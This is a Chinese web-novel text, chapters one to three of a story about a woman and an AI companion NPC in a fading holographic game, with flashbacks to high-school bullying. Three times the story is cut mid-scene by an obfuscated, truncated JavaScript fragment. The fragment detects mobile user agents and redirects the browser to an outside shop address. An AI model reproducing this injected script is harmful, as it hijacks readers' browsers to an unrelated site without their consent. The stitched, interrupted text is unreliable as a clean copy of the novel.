《电子蝴蝶[校园]》 1. 钥匙链 炎炎夏日,一点都不悦耳的蝉鸣声哪怕太阳落山了也还在叫,整理完材料已经是深夜,不过落地窗外仍旧车来人往川流不息,到底还是高科技好啊。 至少霓虹灯如昼又有天网恢恢,走夜路没那么可怕。 “韩姐还没走吗?A组果然是好忙,自从调过来后几乎就没准点下过班了吧?要好好休息啊。” 是之前的同事,作为年轻人刚入职场没过一年,又有个相当宠她的男朋友,因为时常会提起她们的甜蜜回忆所以整个公司上下人尽皆知。 韩思和她仅是打过几个照面的关系,不过那个女生相当自来熟。 “现在正打算走了。”韩思将材料堆叠在一块放好,从工位上起身,笑笑:“A组事多但钱也多呀,你知道的像我这种人,最缺钱了,不过你今天怎么也还没走?” 那人晃了晃手中的钥匙:“东西忘记了,我可人都到家门口了,竟然忘了钥匙!”一副痛心疾首的模样,虽然这件事听上去是挺让人痛苦的。 钥匙串相碰,金属叮叮当当,有东西被甩得掉下来。 “小小钥匙串承受了太多它不该承受的重量咯。”正好路过的韩思边打趣边帮忙捡起,只是手在触碰到那个方形的小东西时,微顿了下,她的眼睛盯着那钥匙链瞬间有些出神。 是某个游戏的周边。 “哎呀呀,这不是我男朋友非要把他的钥匙也一并给我吗?”那位同事像找到了能炫耀甜蜜的契机,忍不住说道,“我和他从校园开始竟然一路能走到现在,真是完全没想到呢。” 整理情绪也不过是片刻,韩思若无其事地起身:“从校园走到婚纱,真浪漫。” “谢谢韩姐!”那同事接过小方块的钥匙链甜甜道谢,又抓着链条尝试挂回去,“不过我也真是越想越遗憾,韩姐你真的完全不考虑小吴吗,那个新来的男孩子。” “是很优秀,我应该配不上他。” “韩姐你这也太谦虚了,虽然小吴家里又有钱长得又帅,但他好像真的很喜欢你,他之前下班还一直等你来着,结果被你赶走了。” 韩思不置可否,转移了话题:“这个是之前那个很火的全息网游吗?” “啊,在说这个钥匙链吗?是的,看不出来韩姐你也玩啊。”同事还在挂链条,“不过好像挂不上去了,太挤了,再硬挂也会掉,但总不能扔了。”她有些惋惜和苦恼。 “不想要的了的话能不能给我。” 话比脑子更快,韩思几乎是脱口而出,又在脑子跟上后补上几句,“……我的意思是,若果你不需要了的话。” 那位同事完全并不在意,她飞快把钥匙链放在韩思手上:“韩姐喜欢啊,那给你啦,就是都已经有些旧了再给你,我都有点过意不去。” 钥匙链又回到掌心里躺着,金属的边边有些硌手,韩思也真心道谢:“当时这个钥匙链还是限量版的吧,谢谢你,下次请你喝奶茶。” “不需要的啦!真是太客气了韩姐!我留着又没什么用,虽说限量但又不贵,话说回来那段时间我还挺沉迷这个游戏的,因为建模男帅女美哇!现在想想,啊!还是活的男朋友好!”本来以为她又要开始炫耀自己的男朋友了,却好像想起了什么回忆似的。 “而且自从那次更新后,搭载Ai的NPC半年一次清空记忆真是受够了。” 韩思手指摩擦过已经陈旧的钥匙链:“听说是服务器无法保存那么多的数据。” “明明都不是游戏小厂,这种土豆服务器的理由谁会信?肯定是觉得《仙缘》没什么赚钱潜力了所以想舍弃掉,或者也可能是当时那个浪漫的传闻所以搞坏了数据库……别用看恋爱脑的眼神看我,偶尔也相信一下都市浪漫传说吧韩姐。” 韩思抗议:“还好吧,我哪有很无趣。” 好吧她在嘴硬。 “其实我本来也想多坚持一段时间的,毕竟游戏里的NPC们都太帅啦,但失忆啊失忆,也不知道现在还有没有情怀党在继续玩《仙缘》。” 她猛然想起什么似的,一拍脑袋:“哦对了我还约了我男朋友吃饭,韩姐我要走了!” 韩思笑道:“那不赶紧去?都要八点半了,晚饭都要成宵夜。” “不过自《仙缘》落败后,虽然出现了很多全息游戏,但再也没有如此堪比真人的Ai技术了,也不知道为什么没人去研究发展。”她自言自语着推开了玻璃门,又手抓着钥匙回头招手,“拜拜啦韩姐,你也早点下班哦。” “好哦,约会愉快。” 送走叽叽喳喳的同事,办公大楼又重回安静,也许是不久前有鲜活人声照亮过,这次的安静显得更突出。 手心上的钥匙链安静躺着,韩思按下按钮,小方块中的人脸逐一变幻,最后在位白净少年的证件照上停下,很明显的二次元建模脸。 因为现实中几乎碰不到这种帅哥。 只是少年很帅但没笑,也许笑一笑会更像活生生的人那样。 这串钥匙链发售的时候好像真的不贵。 但为什么她没有买呢? 一时间想不起原因,但记忆里的惶恐的情绪却立刻翻涌而上。 落地窗外,是川流不息,是千家灯火。 离开公司韩思又去门口便利店买了点吃的犒劳犒劳自己,好消息是九点半便当关东煮都打五折卖了,店员说满五十送饮料,于是又凑单凑满五十,送了瓶两块五的冰柠檬茶,总感觉又落入消费陷阱。 付完款出门的时候肩头还被人撞了下,柠檬茶从袋子里险些滚出去,不过被一只骨节分明的手稳稳抓住,放回塑料袋里。 韩思:“谢谢。” 擦肩而过的瞬间,听见他自来熟地说道:“这款柠檬茶还挺难喝的,齁甜又齁酸。” 语调略上扬,比起吐槽更像是在打趣。 韩思愣了下又点头表示赞同,因为她也这么觉得,“嗯,确实。” 都会向不认识的陌生人吐槽,果然这东西这么多年了仍销量不好做赠品才能消耗掉,不是没有原因的。 韩思回头看了眼那位饮料知己。 他站在便利店打折区挑捡便当,是个在大夏天都穿天蓝色外套戴着黑色口罩和墨镜全副武装的男孩子,看上去就不太透风,看穿衣风格约莫是附近的大学生,为了耍帅也不怕自己中暑。 这只是平淡生活中都称不上波澜的小插曲,她在便利店门口拿出手机想看看时间,却看见好些条短信接连不断地弹出来,熟悉的头像熟悉的口吻。 发消息的人最开始是苦口婆心地说韩思你年纪不小了,再不早点找对象就嫁不出去了。 接着又是羡慕到嫉妒的情绪仿佛要溢出屏幕,她说你看看人家同样是高中找了个有钱男人谈恋爱结婚生孩子,如今都不用工作,也算攀上高枝做凤凰了。 你高中的时候却把最有钱的公子哥给得罪了彻底,你要是有人家一半聪明和他搭上关系,我们也不会还这么被人看不起。 她越说越激动,措辞逐渐变得肮脏,扬言你这种老女人到死都没男人以后下地狱要做破鞋的。 末了终于说出真正的目的,她周末替她约了个相亲,男方是老家企业高管,有钱有房,必须得去。 还有三个未接来电,她打来的。 本来以为已经习惯了,但看完手机屏幕上的话,却忽然有点疲惫爬上身体,电话也不想打回去,索性也就当作没看见了。 隐约听见身后那个男大学生还在和店员聊天。 “赠品没有了。” “……那我买一瓶呢?” “最后一瓶被刚才那位小姐带走了,不好意思。” 那人还挺奇怪。 等回到小家已经是十点,韩思边思考后续要修改交给甲方的方案边洗漱。 直到即将十一点半的闹铃冷不丁响起,也不管牙刷还在嘴里,她走到电脑前打开电脑,打开图标登陆账号,确认进入游戏,这套流水动作已成习惯。 “晚上好,whxhd。”说完标准流程,屏幕上的少年疑惑道,“真是罕见啊,竟然会有人用初始id,又是英文又绕,念得我嘴巴累。” “而且有全息设备不用落灰,用普通电脑屏幕登陆账号,这位whxhd用户你还真是奇怪。” 少年的睫毛纤长眼睛亮亮的,江湖大门派装扮人畜无害又帅,就是嘴巴偶尔有点欠,不过也算是他的设定特色。 韩思敲字:“我乐意。” 001:“好好好,用户体验为上嘛~” whxhd:“好阴阳,还加波浪号。” 001:“没有的事。”屏幕上的少年飞快摆手否认,面色惊慌失措般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564449|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做坏事心虚的少年赶紧另起话题,他指指头顶上的时间图标:“你今天上线很晚呢,是工作遇到了什么麻烦吗?” 韩思打字的手迟疑了下,瞥了眼放在边上的手机,耳边似乎响起了很多催促的话。 目光收回,又唇角勾起平静的笑容。 whxhd:对呀,你是陪伴角色诶,能不能快点安慰我。 001其实不太会安慰人,韩思也知道,所以就悠悠闲闲看他抓耳挠腮苦思冥想。 直到他柔顺黑发中有几缕不听话的翘起,最后想起了什么似的,从屏幕外抓了一长串吃的摆在面前,笨拙道:“吃过晚饭了吗?就算太忙也不要忘记吃饭。” 他是哪里找到的那么多食物。 韩思一边哑然失笑一边敲打键盘:当然。我又不是不会照顾自己的白痴。 被噎回去的001手撑下巴又思考了会儿,又从屏幕外抓了个松软的枕头,拍了拍:“累的话就先睡吧,你一般入睡时间是十一点,今天太晚了,按照大数据推算,睡一觉起来会好很多,睡眠是人类必不可缺一部分,所以亲爱的用户,请你赶紧去睡觉觉啦。” 韩思毫不留情地戳穿他:叠词词恶心心。你这几句话好格式化,哪里抄的? 拧开冰柠檬茶瓶盖,喝上一口透心凉。 拧好瓶盖,她打量了眼柠檬茶瓶身,忽然有些疲惫,打字发送:但我不想睡觉,继续陪我聊聊天,艾格。 “可恶啊,拜托这位用户尊重我一下!我叫001。”他佯怒道,“连我的名字都会叫错,虽说把我放在第一位,但你究竟有没有心啊!” “那下次放最后一位。” “不行不行。” 忽然,屏幕外头沉默了,whxhd过了很久都没有发新的消息。 于是等韩思回来的时候,就看到疯狂刷屏的001,一开始还是冷静傲娇的。 “你可别把我放最后一个,你也会累的,翻半天才能翻到我呢。” “诶?怎么不理我了?” “喂喂喂?信号不良吗?明明没有啊。” “莫非是生气了?” “不会吧你真生气了?” “哇对不起!!我给你道歉!” …… 终于,得到了回信。 whxhd:我在刷牙…… 韩思艰难地翻完满屏消息,心里沉默:这个二百五。 001委屈巴巴解释道:“毕竟用户体验第一嘛,你要是投诉我,我就又得在小黑屋里翻修好久好久了。” whxhd:我不会投诉你。 whxhd:但你可以听我讲个故事吗。 whxhd:不许拒绝,我只有今天想讲,而你正好明天会忘记。 韩思这几条消息发得特别快,001连想插嘴的机会都没有,虽然没能理解她的话是什么意思,但传递的情绪却异常清晰。 001:你今天心情好像很不好。 少年的脸上是担忧,伸出的手想触摸,却想起来这是电脑屏幕,他悻悻收回手,“你要是用全息设备我还能安慰安慰你。” whxhd是唯一一个坚持每天打卡三十分钟和他聊天的用户,是他绝对不能损失的老顾客,再失去客源的话,也许就要被抹杀回到虚无黑暗了。 毕竟数据是为了人类而存在的。 whxhd:用电脑就是为了防止你动手动脚。 001:…… 少年心虚地移开视线。 whxhd:故事怎么开始呢,很久很久以前?其实也不久,大约是五六年前,这个游戏刚发售不久。 001趴在屏幕前,他伸手指掐算:那我还没有出现诶,我是很后期才出现的。 001不是个好的倾听者,因为他会插嘴,但也因此而鲜活。 韩思斜靠在椅背上,屏幕亮起的灯光打在身上,沉默半晌,末了她又自顾自笑笑。 她盯着那瓶赠品冰柠檬茶,低声喃喃: “我有好好遵守约定吧。” “可为什么我们就再也不见了呢?” 其实她根本用不着小声的。 因为电脑是旧电脑,收音功能已经坏了的那种。 房间里唯一在动的001只能趴在屏幕上,在无声里,神情困惑。 2. 苹果 那年的夏天尾巴不太热,不过出了个惊天动地的热闹事,也就是全息网游的发售,可谓各个年龄段趋之若鹜的存在。 尤其对血气方刚的青少年来讲,憋屈的学校生活特别需要发泄,试问谁不想做个大侠仗剑走天涯。 刚升高三的韩思对全息网游也心痒痒的,但一是学业为重,二是她没钱。 《仙缘》发售半个月后就是开学,附近的同学几乎都在高谈阔论这件事,谈自己在哪里捡到了宝物,如今修为几何,今夜在哪里有可能会有天极宝箱投放。 韩思一边做题一边恨不得把这些噪音统统扔出去。 “这些消息都不算大消息。”身后的男生一副高深莫测神叨叨的样子,“你们不知道了吧,我听说《仙缘》要有超大的新变革了。” “别卖关子,快说。” 被踹了一脚后,那人捂着屁股说道:“别踹人呀……Ai知道吧,听说《仙缘》里的npc要和Ai接轨了。” “这有什么,Ai再牛也是npc,又不能强过我们。” “不过那些个npc那么漂亮,比我们班所有女生都好看,你看了真不心动?到时候她们可就任由我们摆布了。” “大学还没考上就想着女朋友女朋友。” 被班主任铛一声猛猛敲完脑袋,身后的男生鸟雀般散了。 韩思有些幸灾乐祸。 那男生经过桌边时微恼,压低声音警告:“韩思你笑什么?快点写完借我们抄!还有我之前偷钱的事,你要告诉那贱人班主任,你绝对吃不了兜着走,我警告你。” 韩思的笔尖一顿,“知道了。” 无论是偷钱还是ai还是《仙缘》,都与她毫无关系。 本来应该是这样的。 但幸运女神好像莫名其妙眷恋她一下了,她朋友刚买的全套设备要寄存在她家。 朋友的父母特别严厉,不知在哪里听到了风声,她害怕被查就只能暂托韩思保管。 她声泪俱下地祈求:“保管费就是你玩,你尽情地玩,只要别玩坏了,就算玩坏也不打紧,但是千万千万不要告诉我妈,我会死的。” 于是韩思就莫名其妙有了整套《仙缘》的设备,在当天夜里,她耐不住心中好奇,戴上头戴式耳机和装备,在一片蓝光闪过后见到了注册页面。 她最初的打算是,看一眼游戏里的世界究竟是怎样的,接着就下线,把设备好好保管在柜子里落灰,沉迷是绝对不可以的。 毕竟高三,学习第一。 既然都是游戏了那肯定就不会按照现实来,韩思捏了个和自己一点都不像的小人,不过也是放在人堆里找不到的长相。 新手村的人依旧很多,《仙缘》的魅力可见一斑。 韩思接触的游戏不多,所以一时还找不太到交任务的npc,于是干脆在城外兜兜转转。 一想到眼前见到的,身体触碰到的,耳边听见的,一切都是数据堆叠而成的,就很新奇。 在感受世界的时候,有人拍了拍韩思的肩膀。 “你好,需要帮助吗?” 韩思站起身,面前的是一位少年,黑色的马尾迎着微风,随发飘扬,由于离得近,在阳光下纤长的眼睫毛也看得到,似乎是已入了某门派的世家弟子。 这个玩家应该超有钱,身上的衣服看上去就很贵,手边的武器一看就很能打。 与质朴新手村的自己格格不入。 没等到回答,少年疑惑地歪头。 “需要!”有人帮的话会快一点结束新手任务,这不是雪中送炭么,韩思立刻道,“谢谢你,我想知道野猪牙那个任务提交给谁会比较好?” “好啊。”少年点点头,领着韩思走:“我带你过去吧。” 本来韩思只想让他帮忙一个任务就结束了,但他却是相当热情的样子,一个接一个新手任务都陪着韩思完成,不得不说有大佬陪着任务完成确实快上很多。 韩思脸皮薄,没忍住再次鞠躬道谢:“这次真的太打扰你了,不好意思啊。” “没事,我挺闲的,你点个好评就行。” 果然弹出了个好评页面,韩思当然是立刻五星好评。不过她打算先和他加个好友,以后再找机会还回去这位好心人的恩情:“还不知道你的名字,啊啊就是id,我叫汉斯。”她取了个名字谐音。 “我嘛?我叫零零零。”他抱着胸在一旁说道,“汉斯,感觉像是男孩子的名字。” 韩思一边加好友一边回道:“随便取的啦。”不过明显是他的名字更奇怪好吧。 “不过怎么搜不到?0……00,您的名字,我应该没输错吧。” “我发现你好谨慎啊,做任务的时候是,现在也是,连敬语都用上了。”那少年忽然笑了下,凑近看了眼,“不是阿拉伯数字的零,是汉语的零零零,因为是名字啊。” 感觉被嘲笑了,不过那大佬应该没有恶意吧。韩思抹汗道:“okok加上啦!” “走吧,新手村任务结束了。” “啊?你还打算跟着我吗?虽然很感谢一路上的帮忙,但这样实在是太麻烦你了。” “是啊。”在韩思疑惑的目光里,那位id叫零的少年勾起了无奈的笑容,“因为你还发送了组队。” “……啊。”韩思后知后觉般,醒悟过来后立刻道歉,“乱点点错了,我找找怎么取消。真的对不起又侵占你的时间。” 我都说了我现在很闲。 少年欲言又止,看上去这位汉斯小姐好像紧张得听不进去这句话,一开始做错第一个任务也是,她对着npc疯狂道歉,又对着自己疯狂道歉。 感觉真是比起自己来说,她才更像个道歉机器人呢,实在是微小谨慎的性格。 看着少女紧张兮兮手忙脚乱的样子,少年靠在一旁的柱子上,看人来人往,忽然指向一棵不远处的树,语气冷静:“用刚刚学会的技能,你把那棵树上最高的苹果射下来。” “啊?这样就能取消组队了吗?” 虽然完全不理解二者为什么会有必然联系,但几乎没碰过游戏完全被那位少年带着做任务的韩思还是没动脑筋地照做了,而且她射得还挺准。 咻—— 苹果应声落地。 砸在一个路过的player的头上,还是个装备超级闪耀亮眼的player。 相当准的准头和相当差的运气呢。 “不会取消组队。”少年噗嗤没忍住笑出来的声音在斜后方传来,“但是能随机砸到一个倒霉路人的脑袋。” 韩思的手抖起来,脸上是明显的惊慌:“……我是不是得和他道个歉,但他貌似不会接受,那现在该怎么办?” “诶诶诶?”少年被她的真诚整愣住了,“我的意思是,你不用那么谨慎啦,这是游戏诶,哪怕做错也无关紧要。” 不远处的路人传来后知后觉的怒吼和无差别攻击。 少年转头看了一眼,瞬间语气慌忙,连珠炮般:“而且你别用那种眼神盯着他看啊,他要发现了,还有你的武器赶紧放下啊!喂喂喂!汉斯小姐!别发呆了,他要打过来了!” 他的眼神在两人之中来回扫视,频率越来越快,看韩思没有动作不知所措,认命般叹口气后干脆拉着她跑。 韩思对于这位少年的第一印象是: 是个好人,但不完全。 是位前辈,但完全不靠谱。 接着就是一路漫山遍野上蹿下跳被追撵着奔跑,《仙缘》的体感非常真实,自由的风吹拂在耳边,手被有力牵住的触感,就仿佛能感受到他的体温。 躲在树梢上的韩思总算能歇口气说句话:“我还以为你能打得过他来着,他才三十几级。” 不过一寸距离同样躲在树梢的少年一脸无辜:“打不过啊,我谁都打不过,而且你口气很大诶,什么叫才三十几级。”才字重音。 “因为你看上去很强啊。” “嗯嗯那是当然咯。”少年得瑟得很明显,“但是真的打不过就是了,玩家战只能靠你自己。” “好臭屁……”韩思吐槽得很小声,“不过我要是被他打死了应该也没什么影响吧。” 少年支着脑袋:“虽说现实里的你肯定不会死,但会很痛的哦,因为设备是关联身体神经的。” “那我现在登出呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564450|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多亏少年的提醒,韩思忽然想起来这里再怎么真实也是游戏罢了。 打不过还能麻利地跑。 “那他应该就打不到你了,不过登出需要段时间,你现在安全倒是可以……哇你动作真快,有做逃兵的潜质。” 虽然刚刚对他还是满心感谢的,但此刻韩思没忍住瞪他一眼:“不然等他来打我吗?” “你好像胆子不大呢,这次连上去道歉都没敢,我还以为你这次会冲上去道歉十分钟。勇敢一点嘛,说不定不会被他打败,新手保护期等级压制不发挥作用哒。” 零零零用着轻柔的语气,又拍拍韩思的头,以示鼓励。据说,拍头具有鼓励人心的作用。 “……说谁胆子小呢。”韩思眼疾手快错开身,没被他拍到,颇有怨气反驳着,“你说得轻巧,道歉看样子也可能要被他抓住上pk场,所以能逃为什么不逃,我不想做选择不想担风险。更何况!这本来就是你搞出来的事情!” 说起这个她就气。 零零零脸皮很厚,选择性忽略后半句:“但逃避本身就是一种选择,有的问题并不会因逃避而消失,而且这次迎难而上的话,虽然风险高,但伴随高收益呢。你打赢他了的话就直升三十级了!三十级呢!《仙缘》的新活动哦。” 慷慨激昂的推销,感觉让人很难不怀疑他的用心。 韩思没有回答,因为她觉得和这人说不通,如果韩思为了求安稳宁愿做不闻不问的鸵鸟,那这位零零零截然相反。 他接受风险,恣意妄为,还教唆她去故意惹别人,更重要的是她还像笨蛋一样照做了!想到这里她就忍不住崩溃。 感觉过了很久,底下那个气势汹汹的路人还在转圈圈恨不得掘地三尺,然而韩思还没有成功登出。 感受到身上似有似无被投来的目光,少年若无其事道:“底下这人心眼好小啊,不就是被砸苹果罢了,至于吗。” “那也是因为我先惹了他。”韩思没忍住还是问道,“几分钟登出是几分钟啊?” “哦这个啊,是半小时,因为最近系统更新。”少年好像意识到了什么,摸摸下巴,“对我来说挺短的,但对你来说好像不是这样。” 要不是他之前确实一路在帮自己,韩思都要以为自己被他故意整了。 有些紧张又有些烦,韩思干脆闭眼背诵今天课上新学的古诗。 “你生气了吗?”少年凑近过来,是几乎能贴上的距离,长睫就在眼前,莫名感觉被戳到会痒得很。 韩思微微后仰,又不敢大幅度后退,簌簌的树叶摇晃,她又想回答又舍不得嘴中背了一半的诗:“家君作宰,路出名区;童子何知,躬逢胜饯。我没有生气,我只是要学习,这首诗很重要我得在明天之前背出来。” “躬逢胜饯……啊。” 但很可惜还是忘了,四个字来回在嘴里滚但硬是说不出下一句。 零零零忽然提示道:“时维九月,序属三秋。” “谢谢。” 韩思有些惊讶他竟然会,本来还以为他一直泡在游戏里所以是个不学无术的人。 道谢完还是没忍住把他推远了点,她不习惯和别人靠这么近。 他顺从地退后少许,和韩思留出了段距离,又琢磨着说道:“你喜欢学习的话,可以用扫描仪把书带进来,这样就学习游戏两不误,怎么样?话说回来,你可不能生我的气给我差评啊。”少年的眼睛亮亮的,带着点恳求。 虽然不知道他为什么这么执著于差评……但她又不是这么不讲理的人。 刚打算继续背诵,韩思忽然发现自己变得透明,意识到真的即将登出后,她看向眼前黑发明眸的少年。 还是没忍住提醒道:“我不知道你为什么还不登出,但既然打不过那就赶紧跑吧,要是为了争什么不做逃兵根本没必要,明明有稳妥的选项在。” 他忽然凑近,气息压近,韩思被迫后仰,树梢不堪重负,簌簌轻响。 正想抬眼瞪回去,却听他只是轻哼:“胆小鬼呢。” “?” 还没来及反驳,眼前瞬间一黑,再睁眼是白漆刷过的墙面,角落里有些墙皮剥落。 3. 习题 第二天上课的时候韩思顶着两个硕大的熊猫眼。 游戏果然是阻碍学习的大高山。 不过那人竟然说可以拿着课本在游戏里学习…… 韩思也不是没有想过,虽然总觉得有些荒谬。 但少年人嘛,最多的就是好奇,所以她还是打算试试看,不知道今天晚上会不会再碰到那位零零零。 也不知道他昨天有没有被那个路人抓到打了一顿。 “韩思,你什么意思?” 正发着呆,就见两个人一前一后走进教室,把习题本砸在韩思的桌子上,四周本来喧闹忽然安静,所有人的目光都在看向这里,他们的眼里似乎闪着幸灾乐祸。 这所高中是本市闻名的最差高中,但这个班级又是这所高中里最好的班级,靠父母塞进来的那种。 混混和最望子成龙宠溺的父母结对出现,结果就是乌烟瘴气的班级,培养宰渣的温床。 韩思会进来纯粹是意外,因为弟弟被退学,学籍调动必须来这座城市,她也不得不从原本最优秀的高中转过来,落在这摊污泥沼里。 还记得当时来的时候,她的母亲语重心长地说:“这所高中的最好班和你之前上的那个高中差别不大的,你还能在这里做鸡头,宁做鸡头不做凤尾你听说过没?只要你有上进心,就算在垃圾堆里也照样能考出好成绩。” 真的能吗。 韩思闭了闭眼,还算冷静,她可不想被人看笑话,皱着眉头看过去:“怎么。” “这几道题的答案你自己改了,这么简单的题目,你是不是故意不告诉我们的?” 她不想多嘴,瞥了眼习题集便低下头:“早上没来得及。”这群男的早上早读结束了才进教室,哪里来得及提醒你们,何况凭什么? “你不想给我们抄的话也可以直说。”他忽然冷声,抢走了韩思正在写的试题集,气焰嚣张,“那你干脆也别做了。” 纸张撕碎的声音刺耳,碎片落在桌面上,还带着刚写上去的字迹,韩思的瞳孔微缩。 “潘总今天怎么火气这么大。” “他爸来了吧,刚看见他爸火冒三丈从办公室里出来。” “那现在不怕被他爸看到啊。” “他爸又出差去了吧,一直都很忙。” “韩思惨咯,不过我看她不理人不爽很久了,无非就是成绩好点,不也是被省重退下来的垃圾货色,活该哦。” 潘邢恶声恶气:“你们几个也想滚出去是吗。” “我们马上闭嘴。”那人很会识眼色,马上站起来道,“我给潘总看门去,我来看班主任那老登来没来。” 潘邢居高临下的目光看着韩思,又踹了桌子一脚:“想清楚自己几斤几两。” 桌子本来就劣质,也不知道多少年没换过,堆叠在上头的书摇摇欲坠,幸运的是没有倒下来,没有让少女的自尊彻底散落一地。 也许是和哑巴说话没意思,也许是日后还需要抄韩思的作业,潘邢示威过后就转身走了,他在后排大声嚷嚷:“你们几个今晚上线帮我做任务,死老头滚了老子偏要玩个通宵!” 几个宰渣聚在一起,带着烟味带着汗臭味,闹哄哄的。 韩思抿着嘴一点一点清理干净桌面,碎纸屑搂在一块扔到垃圾桶里,然后去办公室找班主任拿新的习题本。 他们是看着韩思去办公室的,但他们毫无畏惧。 班主任在喝茶,他看着眼前垂着头的少女悠悠闲闲问道:“那你的旧习题集呢?” “……被潘邢撕了。” “韩思啊,你是刚转来的,你也应该知道,潘邢他们比较特殊。”班主任叹了口气,像是怜悯又想是劝说,“你不要去惹他们,他们和你不是一条路的。” 韩思的语气有些许波动,几乎是咬着牙:“我没有惹他们。” “一个巴掌打不响。”班主任把习题册放在桌子上,好像很无奈,“你不惹他他怎么会撕你的练习册?为什么不撕别人的。韩思啊,你和那些顽皮的学生不一样,你最能让老师省心了。” 不该说的,因为没有意义。 忽然冷静了,她看着眼前的老男人,接过新的习题集,低下头说道:“对不起老师。” 潘邢毫无畏惧,是因为他们有恃无恐。 他们知道班主任对于这群硬刺头只能睁一只眼闭一只眼,他们的后台坚硬不可得罪。 只要他们能安稳不惹出大事,那他的晚节就保住了,就能安稳退休。 其实他也没有错,只是韩思感到恶心。 下一节是体育课,下午又是接连不断的主三门模拟考,昨天游戏弄到太晚没怎么准备英语,韩思打算回去拿本单词词汇下去背。 想着上课铃已经打过了,教室里应该没人。 但事总与愿违,韩思回来的时候,潘邢他们一堆男生正在往那个不受待见的男生水杯里倒东西。 走近几步看,她发现是一瓶胶水。 会死人的吧,心底有点恐惧有点害怕,韩思想装作没看见,脚步向后退了半步。 “告状告状,这次把你的喉咙封上看你下次怎么告状。” “这种人就活该,得多惩罚几次,哈哈哈真是迫不及待想看他喝下会怎么样了,吐得到处都是吧。” 已经接近成年的男生体型高大,一米八零的个子颇有压迫感,他们围在那瓶水的边上嬉笑。 “哎哟,韩思怎么回来了?” 几双不怀好意的目光同时投射过来,落在身上,像是被豺狼盯上,冷汗涔涔四个字忽然变得具象化。 好想逃避。 不想做任何行动,她恐惧承担风险后果。 因为什么后果她都担不起,她得快一点、再快一点,离开这所高中离开这座城市。 逃避是选择的一种。 有些问题并不会因为逃避而消失。 如果选择逃避,她会不会就是下一个在水杯里喝到胶水的人。 不知道为什么,她猛然想起在游戏里遇见的那个叫零零零的少年说的话,他有些吊儿郎当又有无所谓的劲头,不在意风险后果,还劝她要有放任自己做错选择的勇气。 他让她去射下那颗苹果,而她也那么笨地照做了,既便不知道结局如何。 犹豫片刻,她抬头看向潘邢:“早上是我的问题。” 好吧,她果然还是很糗,就算不逃避也只会退缩。 “哦?你有什么问题?”潘邢的语气上扬步步紧逼,看好戏的模样毫无掩饰。 韩思明显低估了潘邢那群男生的不要脸程度,他们作恶只是为了作恶带来的满足,和踩踏别人自尊心带来的快感,所以嬉皮笑脸着。 “是呀,三好学生能有什么问题?灰溜溜去和那个老登告状了吧?” 在他们觉得无趣又要变本加厉侮辱之前,韩思先低头了,“我只是去找他要了新的习题本,还有,我下次改答案会和你说一声。” 她把新的习题本放在桌子上,证明自己没有撒谎。 “不错,有领悟力。” “果然学霸的脑子挺好使的。” “这是你该做的事,这就想求我们的原谅了吗?” 左一句右一句,都是饱含嗤笑的讽刺。 少女的声音本来就不大,落在七嘴八舌的哄笑里更显得轻飘飘。 现在该怎么办,还不如一开始就选择逃避,这样就至少现在不用面对被步步紧逼等她出洋相,反正结局没有差别。 韩思的手指摸在新习题本上,她咬着牙但忍不住后悔。 潘邢说话了:“十月一号前的联考给我抄,我就饶了你。” 那是高三上来的第一次全区八所高中的联考。 韩思手指顿住,迟疑道:“那场是大考,有监考老师,会被发现。” “——啊呀潘总我也想抄,我也想体验体验年级前十的滋味。” “你也给我们抄抄呗,我们就都原谅你了,早上被那个傻x东西好一顿骂哦。” “看你早上被骂的像个傻卵哈哈哈哈。” “今天考完又解放咯,游戏通宵!晚自习旷了!” …… 少女的抗议淹没在人声里,其实他们根本就不在意韩思的话,因为她的身后没有人,她别无选择。 韩思低着头,回道:“知道了,我会尽量字写大点,放在边上。” “这不是有的是办法嘛!” 边上的男生指指韩思嬉笑,挥舞的手臂把桌子上叠好的试卷书本打翻在地上,还有未倒完的胶水一起滑落。 “哎呀怎么掉了?” “哎你怎么踩人家娘娘腔的课本呀,小心他黏上你哦。” 他们故作惊叹,又故意推搡,课本上沾了好多漆黑的脚印。 一张破破烂烂的试卷被嫌弃地拿起来,“这不是下节那个凶婆娘要讲的试卷吗?烂成这样了都,娘娘腔铁定告状,我们还得挨骂。” “不如扔了呗,从外头扔出去,那凶婆娘一定会认为他没做。” “快点快点,体育课要结束了,别耽误我去打球耍帅。” 卷成一团的试卷在空中形成抛物线,落在窗外。 少年人敏感又脆弱的自尊在上位者的脚下狼狈不堪,而她只能抿着唇拿走单词词汇手册,对一切视而不见,走下楼梯走到操场。 操场上,几个围坐成圈的女生看到韩思下楼,目光齐齐投过来,她们交头接耳了几句,其中一个体型微胖扎着麻花辫的女孩子站起来打了声招呼,几个人跟着走近。 一站过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564451|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们就是开门见山。 “你惹到潘邢他们了啊?” 